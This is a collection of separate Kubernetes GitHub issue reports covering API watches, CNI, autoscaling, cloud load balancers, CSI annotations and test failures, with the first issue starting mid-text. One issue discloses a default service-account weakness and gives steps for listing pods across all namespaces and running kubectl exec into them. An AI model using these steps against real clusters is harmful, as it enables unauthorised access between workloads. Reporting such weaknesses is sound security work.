cluster with kind / minikube / ...\r - deploy compose-on-kubernetes on it  see https://github.com/docker/compose-on-kubernetes/blob/master/docs/install-on-minikube.md \r - download the latest official docker cli release and try to deploy a simple compose file to kubernetes using  docker stack deploy -c compose-file.yml my-stack --orchestrator=kubernetes \r \r   anything else we need to know?  :\r \r after digging a little with a debugging http proxy, i saw that the big difference seem to be that:\r - prior to 1.14, when such a watch is issued, the response headers are immediately sent to the client\r - with 1.14, on central-api resources, it does not change\r - with 1.14, on aggregated api resources, the reponse headers are sent with the first event\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.0\ , gitcommit:\ ddf47ac13c1a9483ea035a79cd7c10005ff21a6d\ , gittreestate:\ clean\ , builddate:\ 2018-12-03t21:04:45z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.0\ , gitcommit:\ 641856db18352033a0d96dbc99153fa3b27298e5\ , gittreestate:\ clean\ , builddate:\ 2019-03-25t23:47:43z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r using kind, also happen with internal docker desktop builds\r - os  e.g:  cat /etc/os-release  :\r both kind, and linuxkit\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r pod use cni can not create success,  over and over again;\r  here details:\r i've disabled the ipv6 in my pc by:\r \r $ tail -3 /etc/default/grub\r    \r   disable ipv6\r grub_cmdline_linux_default=\ ipv6.disable=1\ \r grub_cmdline_linux=\ ipv6.disable=1\ \r \r    \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r    \r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.2\ , gitcommit:\ cff46ab41ff0bb44d8584413b598ad8360ec1def\ , gittreestate:\ clean\ , builddate:\ 2019-01-10t23:35:51z\ , goversion:\ go1.11.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.2\ , gitcommit:\ cff46ab41ff0bb44d8584413b598ad8360ec1def\ , gittreestate:\ clean\ , builddate:\ 2019-01-10t23:28:14z\ , goversion:\ go1.11.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r - kernel  e.g.  uname -a  :\r linux izuf6233f281xk9x84rkfgz 3.10.0-862.14.4.el7.x86_64  1 smp wed sep 26 15:12:11 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - network plugin and version  if this is a network-related bug :\r cni 0.6.0\r flannel\r - others:\r \r \r - update\r i have solve this problem by update cni plugin manually\r

the image digest from an image is much more useful to be reported with a container than just the image id.  we should return the digest as well, which would allow policy tie back to 3rd party engines as well as understanding the exact image in use.  i believe the gap today is the local graph driver doesn't preserve the digest, but that work is going on upstream in docker to make that more generally available.  @vbatts correct me if i missed anything about the state of docker on this  links to issues would be helpful   @ncdc @pweil- policy around managing what images can be used on a kubelet is a next big area of exploration - knowing exactly what is in use is a part of that

$ kubectl create -f hpa.yaml  horizontalpodautoscaler \ myhpa\  created $ kubectl delete hpa --all horizontalpodautoscaler \ myhpa\  deleted $ kubectl create -f hpas.yaml  error validating \ hpas.yaml\ : error validating data: couldn't find type: v1beta1.horizontalpodautoscaler; if you choose to ignore these errors, turn validation off with --validate=false $ kubectl create -f hpas.yaml --validate=false horizontalpodautoscaler \ myhpa\  created      hpa.yaml:      apiversion: extensions/v1beta1 kind: horizontalpodautoscaler metadata:   name: myhpa spec:   maxreplicas: 1   minreplicas: 1   scaleref:     kind: replicationcontroller     name: rc     subresource: scale      hpas.yaml:      apiversion: v1 items: - apiversion: extensions/v1beta1   kind: horizontalpodautoscaler   metadata:     name: myhpa   spec:     maxreplicas: 1     minreplicas: 1     scaleref:       kind: replicationcontroller       name: rc       subresource: scale kind: list metadata: {}

then you can have specific internal services which some users can access and others cannot. i'm thinking of grafana server and logstash server.

hi guys,  i'm having a lot of troubles getting up my cluster with provider load balancers, concretely with gce.  controller-manager  fails trying to retrieve instances by hostnames  using  getinstancesbynames  method :      i0606 16:49:08.399340       1 gce.go:474  ensureloadbalancer aa271f4332bfa11e69cfe42010a00000, us-central1, <nil>,  tcp/80 tcp/443 ,  k8s-worker-lx53.c.mr-potato.internal k8s-worker-xog8.c.mr-potato.internal k8s-worker-1pg4.c.mr-potato.internal k8s-worker-buvc.c.mr-potato.internal , default/lb, map    e0606 16:49:08.464763       1 gce.go:2368  failed to retrieve instance: \ k8s-worker-lx53.c.mr-potato.internal\  e0606 16:49:08.464894       1 servicecontroller.go:196  failed to process service delta. retrying in 5m0s: failed to create load balancer for service default/lb: instance not found      i tried to compare the gce access implementation used in  1.1.4   because i get into this when i was trying a cluster upgrade from  1.1.4  to  1.2.3   with the master implementation and there is something that caught my attention.  why this piece of code doesn't make use of  canonicalizeinstancename -ed names instead of the ones provided by the user  by user i mean the full computer hostname :  https://github.com/kubernetes/kubernetes/blob/v1.2.3/pkg/cloudprovider/providers/gce/gce.go l2364-l2372  maybe this is the reason why i'm getting 'instance not found' all the time.  thanks in advance,  pd.: before this i tried to search something related to this in stackoverflow and asked in slack with no answers at all...

started here: https://github.com/kubernetes/community/wiki/wip:-contributor-guide:-kubectl-new-contributor-onboarding-guide  define the process for onboarding new contributors: - how should new contributors find issues to work on? - how should issues be claimed? - integrate claiming with bot - what should the shadow review process be like - how to get help when blocked - better in-code documentation for kubectl design and layout - refactor kubectl to be more clear and understandable  cc @adohe @ymqytw

is this a request for help?  \r \r no\r \r   what keywords did you search in kubernetes issues before filing this one?   \r \r kubernetes deployment rolling upgrade wait old pod terminate completely\r \r ---\r \r   is this a bug report or feature request?    choose one :\r feature request.\r \r   kubernetes version    use  kubectl version  :\r  client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r \r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 1970-01-01t00:00:00z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r the default  minikube  based installation on a macbook.\r \r   what happened  :\r for an example, i've used the following deployment to bring up 3 replicas of nginx and tried a rolling upgrade.\r \r    \r buchibusireddy:tmp/ $ cat nginx.yaml                                     \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: nginx-deployment\r spec:\r   replicas: 3\r   template:\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - name: nginx\r         image: nginx:1.7.5\r         ports:\r         - containerport: 80\r         lifecycle:\r           prestop:\r             exec:\r               command:  \ bash\ , \ -c\ , \ sleep 180\  \r   strategy:\r     rollingupdate:\r       maxsurge: 1\r       maxunavailable: 1\r     type: rollingupdate\r    \r \r then i've changed the image to  nginx:1.10.3  and did  kubectl apply -f nginx.yaml  to do a rolling upgrade of the deployment. here is what i see:\r \r    \r nginx-deployment-2232286402-5nbxc      1/1       running       0          15s\r nginx-deployment-2232286402-pnq4h      1/1       running       0          26s\r nginx-deployment-2232286402-shnr0      1/1       running       0          26s\r nginx-deployment-3191471262-f1bwr      1/1       terminating   0          2m\r nginx-deployment-3191471262-sc2bd      1/1       terminating   0          2m\r nginx-deployment-3191471262-w9hhw      1/1       terminating   0          2m   \r \r here, i can see that the pods from old rs haven't terminated completely but all the pods from new rs have come up already. if the old pods are still serving the traffic, this leaves double the pods than i what expected. it also means the surge isn't exactly 1, as i used in the configuration.\r \r   what you expected to happen  :\r \r i expected to have some control/parameter so that there is always only one extra pod  maxsurge  and the rolling upgrade waits for the old pod to terminate completely before it brings up new pods. i understand the rolling upgrade could take more time, but i'm fine with that.\r \r   how to reproduce it    as minimally and precisely as possible :\r you can use the config given above to trigger a rolling upgrade.\r \r   anything else we need to know  :\r i've checked for all parameters from v1 and v1beta1 apis but i didn't see any parameters to get this behavior. it's possible that there is a way to get the behavior that i'm looking for already but it's just not documented. feel free to call that out and i'll test it out.\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r master\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r check https://github.com/kubernetes/kubernetes/blob/master/examples/cockroachdb/cockroachdb-statefulset.yaml l80-l96 , it is still using  scheduler.alpha.kubernetes.io/affinity , we should move it to  podspec .\r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

is this a bug report or feature request?  :\r \r tech debt cleanup : \r \r as described  here  https://github.com/kubernetes/community/blob/master/contributors/devel/release/testing.md test , we want each of the sigs to have dashboards reflected in testgrid and every test that the sig owns to have  sig-<name>  as a   prefix  .  \r \r lots of good progress was made last week, but there are still additional tests with either\r \r 1  no sig owner mentioned in the testname.\r 2  the sig name mentioned somewhere other than the prefix\r 3  the testfile not yet in a sig-owned subdirectory.\r \r we should be able to visit  testgrid  https://k8s-testgrid.appspot.com/google-gce  and see that all testnames follow the same pattern of: \r \r  sig-name  testname\r \r \r

original bug report:  51246\r \r however, this is a issue which may break existing user's system, we should make sure everything is under control during fix. use this umbrella issue to track all work across the kubernetes org.\r \r pr: use  not-ready  taint and auto replace  notready  taint on node with it.  51266\r -  x  with release-note\r -  x  with proper milestone  1.9 \r -  x  with tests\r -  x  pass final review and merged\r \r pr: move of unreachable taint key out of alpha:  54208\r -  x  with release-note\r -  x  with proper milestone  1.9 \r -  x  with tests\r -  x  pass final review and merged\r \r docs update\r -  x  kubernetes.github.io https://github.com/kubernetes/kubernetes.github.io/pull/5188\r -  x  community: note the key's convention https://github.com/kubernetes/community/pull/1043\r -  x  community: fix taint proposal https://github.com/kubernetes/community/pull/985\r \r announcement\r -  x  sent to mailing list: kubernetes-dev kubernetes-user

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r \r   what happened  :\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/59335/pull-kubernetes-bazel-test/29571/\r \r    \r nfo: found 0 targets...\r w0206 19:00:02.726   0 / 1   -----  bazelworkspacestatusaction stable-status.txt\r w0206 19:00:03.320  info: elapsed time: 5.214s, critical path: 0.57s\r w0206 19:00:03.322  info: build completed successfully, 1 total action\r w0206 19:00:03.329  run:  'bazel', 'query', '--keep_going', '--noshow_progress', \ kind test, rdeps //... -//build/... -//vendor/..., //...   except attr 'tags', 'manual', //... \  \r w0206 19:00:03.341  info: $test_tmpdir defined: output root default is '/root/.cache/bazel' and max_idle_secs default is '15'.\r w0206 19:00:28.166  error: /workspace/k8s.io/kubernetes/cluster/images/hyperkube/build:3:1: no such package '@debian-hyperkube-base-amd64//image': pull command failed: traceback  most recent call last :\r w0206 19:00:28.167    file \ /usr/lib/python2.7/runpy.py\ , line 174, in _run_module_as_main\r w0206 19:00:28.167      \ __main__\ , fname, loader, pkg_name \r w0206 19:00:28.168    file \ /usr/lib/python2.7/runpy.py\ , line 72, in _run_code\r w0206 19:00:28.168      exec code in run_globals\r w0206 19:00:28.169    file \ /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/puller/file/puller.par/__main__.py\ , line 93, in <module>\r w0206 19:00:28.170    file \ /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/puller/file/puller.par/__main__.py\ , line 82, in main\r ... skipping 4 lines ...\r w0206 19:00:28.174    file \ /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/puller/file/puller.par/containerregistry/client/v2_2/save_.py\ , line 163, in <lambda>\r w0206 19:00:28.174    file \ /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/puller/file/puller.par/containerregistry/client/v2_2/docker_image_.py\ , line 266, in config_file\r w0206 19:00:28.175    file \ /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/puller/file/puller.par/containerregistry/client/v2_2/docker_image_.py\ , line 290, in blob\r w0206 19:00:28.176    file \ /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/puller/file/puller.par/containerregistry/client/v2_2/docker_image_.py\ , line 210, in _content\r w0206 19:00:28.176    file \ /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/puller/file/puller.par/containerregistry/client/v2_2/docker_http_.py\ , line 363, in request\r w0206 19:00:28.178  containerregistry.client.v2_2.docker_http_.v2diagnosticexception: response: {'status': '403', 'content-length': '210', 'expires': 'tue, 06 feb 2018 19:00:15 gmt', 'server': 'uploadserver', 'cache-control': 'private, max-age=0', 'date': 'tue, 06 feb 2018 19:00:15 gmt', 'content-type': 'application/xml; charset=utf-8', 'x-guploader-uploadid': 'aenb2uptju7syghkvni6ty4s5r0bnzgqdh0sqmtv5yvc9mfhqxhk1-cwml_irg0bsc2xfmz2a6y9afoiok2r0gtiyxatnwawtq'}\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r user wants to create a pod moutning with azure file pvc using static provisioning  doc  https://github.com/andyzhangx/demo/tree/master/windows/azurefile static-provisioning-for-azure-file-on-windows-server-version-1709support-from-v17x    and user uses a wrong storage account name or key, current behavior is if mount azure file on windows, it will create an empty directory, and user would not know actually it fails.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8, v1.9, v1.10\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r   /assign

 \r   what happened  :\r if pod creation request doesn't contain k8s service account then it is given default one which is good for the namespace in which it runs. one can download and run kubectl from within a pod/container and execute commands against other pods within the namespace. this on its own is peculiar as one pod shouldn't probably have such permissions  at least not by default , but it gets even worse. one can also list pods and execute commands  eg. kubectl exec  against pods that reside in all namespaces including default one. since the pods may run on machines with different security scopes this seems like pretty significant security hole. if i create service account devoid of any permissions the communication is blocked.\r \r   what you expected to happen  :\r  the pods shouldn't be assigned with default service account that allows access virtually to the entire cluster.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create pods in different namespaces and kubectl exec bash into either of them. download kubectl and run kubectl get pods --all-namespaces. kubectl exec into any other pod.\r \r   anything else we need to know?  :\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t12:22:21z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.12-gke.0\ , gitcommit:\ f4f0bedb82a57dc32b21b8f15fe01e0b8411356b\ , gittreestate:\ clean\ , builddate:\ 2018-01-05t03:35:43z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r gke, master version 1.7.12-gke.0, node poll version 1.7.8-gke.0\r - os  e.g. from /etc/os-release :\r pretty_name=\ debian gnu/linux 9  stretch \ \r name=\ debian gnu/linux\ \r version_id=\ 9\ \r version=\ 9  stretch \ \r id=debian\r home_url=\ https://www.debian.org/\ \r support_url=\ https://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r \r - kernel  e.g.  uname -a  :\r linux infra2-controller-2999733264-fxk9p 4.4.64+  1 smp wed aug 30 20:27:36 pdt 2017 x86_64 gnu/linux\r \r - install tools:\r - others:\r

 \r this is the once-per-release cut of a new cadvisor release, which corresponds to the next kubernetes release.  cadvisor v0.29 corresponds to kubernetes v1.10.\r \r  /

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >   \r \r   what happened  :\r \r i would like to see if it is possible to create tiered/ here's the scenario: i have a base deployment of pods that do an ok job, and start up quickly. i also have super-awesome pods that are highly customized but take longer to set up. i would like selector to \ prefer\  super-awesome ones, if they are there, and fallback to base ones if there are no customized ones. note that multiple services could fallback to the same base ones, and would differ only in customized entries. it would be great if this selection could all be done within a single service, with slightly more complex selector query. i know iptables/ipvs don't leave too much room to improvise, but i just wanted to check if anyone else thought of this, and if there is another way to do it  perhaps through istio or some higher level routing .\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r  \r   what happened  :\r \r we'v seen that when we are creating services with the annotation  service.beta.kubernetes.io/azure-load-balancer-internal: \ true\   the same ip address get's sometimes assigned multiple times to different services. here is an example:\r \r    bash\r namespace             name                      type           cluster-ip      external-ip       port s                          age\r team-3                ms-1                      loadbalancer   10.10.84.112    10.10.16.6        443:31911/tcp                   5h\r team-2                ms-2                      loadbalancer   10.10.80.167    10.10.16.6        1115:30200/tcp,2113:31924/tcp   28d\r team-1                ms-3                      loadbalancer   10.10.94.122    10.10.16.6        443:30476/tcp                   11d\r    \r here are 3 different services that have the same external-ip. if we use  curl  to make requests to the load balancer ip it will load balance traffic between  ms-1  and  ms-3  since both are listening on port 443.  ms-2  doesn't receive any traffic.\r \r   what you expected to happen  :\r \r that each service get's an unique ip address without any overlap.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create an cluster an azure with acs-engine and create some services with the annoation  service.beta.kubernetes.io/azure-load-balancer-internal: \ true\    after some time there will appear services with the same internal load balancer ip \r \r   anything else we need to know?  :\r \r i found out that there are some correct azure load balancing rules for the services and some missing frontend ips e.g.:\r \r we have 9 services with the according annotation for internal load balancing:\r    bash\r kubectl get  svc --sort-by '.status.loadbalancer.ingress  .ip' --all-namespaces -o json | jq '.items   | select .metadata.annotations.\ service.beta.kubernetes.io/azure-load-balancer-internal\  != null  | .metadata.name' | wc -l\r 9\r    \r but we only have 7 frontend-ips:\r \r    bash\r az network lb frontend-ip list --lb-name dev1-internal -g rg -o tsv | wc -l\r 7\r    \r \r so we are missing at least 2 ip addresses. we also found that there some mismatching rules in the azure portal which aren't fitting the actual behavior e.g. i found a rule for  ms-3   listening on nodeport  30476  :\r \r <img width=\ 581\  alt=\ screen shot 2018-05-17 at 20 57 02\  src=\ https://user-images.githubusercontent.com/9477533/40197848-f119c0c2-5a14-11e8-8089-b333d1b6b561.png\ >\r \r as you can see the frontend ip doesn't match the actual external ip  from kubernetes perspective  also if i run a  curl  against this ip address the another service responds  that received  10.10.16.10   and  ms-3  is available under  10.10.16.6    obviously not always since the ip address is shared with another services .\r \r for  ms-2 i found the following rule configured:\r \r <img width=\ 565\  alt=\ screen shot 2018-05-17 at 21 06 43\  src=\ https://user-images.githubusercontent.com/9477533/40198280-40d80ce4-5a16-11e8-8458-d74ad8e1c7d2.png\ >\r \r even the ip address is not known by kubernetes  everything is configured from the perspective of azure  i'm not able to call this service:\r \r    bash\r $ curl --connect-timeout 2 http://10.10.16.5:2113\r curl:  28  connection timed out after 2004 milliseconds\r \r $ curl --connect-timeout 2 http://10.10.16.6:2113\r curl:  28  connection timed out after 2004 milliseconds\r    \r \r i assume this is the case because the iptables rules are not configured correctly by  kube-proxy   since the external load-balancer ip is wrong . also i assume that  ms-1  and  ms-2  get load balanced by the  kube-proxy .\r \r i will take some further time to dig into this issue and hopefully come with a fix in the next days. i appreciate any hints where to look : .\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    bash\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-05-12t04:12:12z\ , goversion:\ go1.9.6\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t14:14:26z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r azure\r \r - os  e.g. from /etc/os-release :\r \r ubuntu 16.04.4 lts\r \r - kernel  e.g.  uname -a  :\r - install tools:\r acs-engine\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r if you block  docker.io  in docker config, e2e conformance tests fail as docker cannot pull  busybox , which kubernetes autocompletes to  docker.io/library/busybox:latest .  \r \r   what you expected to happen  :\r kubernetes should leave resolving default registry to docker, and not perform \ autocompletion\  automatically  ie.  busybox  ->  docker.io/library/busybox:latest  . \r \r using rhel's docker you can configure some other default registry than  docker.io , and block  docker.io . from command line you can do  docker pull busybox  and it'll do the correct autocompletion per configuration and succeed in pulling, but in kubernetes it resolves always to  docker.io/library/busybox  before passing it to docker and pull fails.\r \r   how to reproduce it  as minimally and precisely as possible   :\r block  docker.io  in docker's  registries.conf  and add your own registry as default, and try run conformance tests.\r \r   anything else we need to know?:  \r also opened a feature request to sonobuoy to allow specifying which image to use for conformance testing: https://github.com/heptio/sonobuoy/issues/439 but imho kubernetes is being too \ helpful\  here, and it should be fixed, or at least made configurable.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.6\r - cloud provider or hardware configuration: doesn't matter\r - os  e.g. from /etc/os-release : rhel 7.5 maipo\r - kernel  e.g.  uname -a  : 3.10.0-862.2.3\r - install tools: e2e conformance tests with sonobuoy 1.10\r

 \r   what you expected to happen  : the csi node annotation contains a map between driver name and the csi driver node id, which should be the value reported by the driver through the  nodegetid    or the  nodegetinfo    call.\r \r   what happened  : if kubelet csi driver registration is enabled, the annotation contains the k8s node name instead of the node id given by the csi driver.\r \r the last param here should come from the result of either  nodegetid    or  nodegetinfo   .\r https://github.com/kubernetes/kubernetes/blob/cd31266e62b10dd8b012152bf31ef93117946909/pkg/volume/csi/labelmanager/labelmanager.go l63\r \r /assign\r  @sbezverk @vladimirvivien @saad-ali

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  : gce-cos-master-default, several others\r \r   which test s  are failing  : failing test:  sig-storage  detaching volumes should not work when mount is in progress\r \r   since when has it been failing  : 11/23\r \r   testgrid link  :  https://k8s-testgrid.appspot.com/sig-release-master-blocking gce-cos-master-default\r \r   reason for failure  :\r \r see triage: https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=detaching%20volumes%20should%20not%20work%20when%20mount%20is%20in%20progress\r \r this test started failing the cos-master-default test this morning.  however, according to triage it's been fialing across our e2e test suite in various places since 11/23.  there's two kinds of failures, a timeout, and a \ filesystem should be read-only\ . \r \r   anything else we need to know  :\r \r this is a blocker for release.\r \r \r <!-- do not edit below this line -->\r   / /milestone v1.13\r \r attn:\r @saad-ali \r @childsb \r @aishsundar

what happened  :\r \r    \r sylvain@ubuntu-1604-dev:~/gopath/src/k8s.io/autoscaler/cluster-autoscaler azure-zones $ kubectl --context=k8s1-euw-sandbox --namespace=kube-system get nodes -o json | jq .items  .spec.providerid\r \ azure:///subscriptions/xxxxxxxxxxxxxxxxxxxxxxxxxxx/resourcegroups/k8s1-euw-sandbox-rg/providers/microsoft.compute/virtualmachinescalesets/k8s1-euw-sandbox-agentzone3-vmss/virtualmachines/68\ \r \ azure:///subscriptions/xxxxxxxxxxxxxxxxxxxxxxxxxxx/resourcegroups/k8s1-euw-sandbox-rg/providers/microsoft.compute/virtualmachines/k8s1-euw-sandbox-master-0\ \r \ azure:///subscriptions/xxxxxxxxxxxxxxxxxxxxxxxxxxx/resourcegroups/k8s1-euw-sandbox-rg/providers/microsoft.compute/virtualmachines/k8s1-euw-sandbox-master-1\ \r \ azure:///subscriptions/xxxxxxxxxxxxxxxxxxxxxxxxxxx/resourcegroups/k8s1-euw-sandbox-rg/providers/microsoft.compute/virtualmachines/k8s1-euw-sandbox-master-2\ \r    \r \r   what you expected to happen  :\r \r i expected the porviderid of my  virtualmachinescalesets  instance to have the resourcegroups part in the same case as the  virtualmachines , i.e.:  k8s1-euw-sandbox-rg  ->  k8s1-euw-sandbox-rg \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r this inconsistency breaks the cluster-autoscaler.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12.2\r - cloud provider or hardware configuration: azure\r \r <!-- do not edit below this line -->\r 

forked from https://github.com/kubernetes/kubernetes/issues/21261 since they are totally different issues.   reported from @gmarek and @wojtek-t when bringing up a large cluster with 1000 nodes, there were 210 nodes cannot be ready state during validation phase  https://github.com/kubernetes/kubernetes/issues/21261 issuecomment-185628072   after some debugging, it turns out that the node cannot join the cluster because it cannot get subnet file /var/run/flannel/subnet.env from flannel_server for about two and half hours, so  that it cannot config the node properly and docker cannot start properly too:      i0218 04:22:33.680863    3803 kubelet.go:2671  flannel server handshake failed waiting for subnet file /var/run/flannel/subnet.env ... i0218 06:51:10.022449    3911 kubelet.go:2671  flannel server handshake failed waiting for subnet file /var/run/flannel/subnet.env      i checked the flannel-server pods, and found the etcd-container within that pod is in crashloop all the time. it turns out the etcd-container is oom-killed on master node.  we need to figure out how much resource required by flannel-server pods, especially the etcd-container one.   cc/ @bprashanth @thockin @kubernetes/goog-cluster

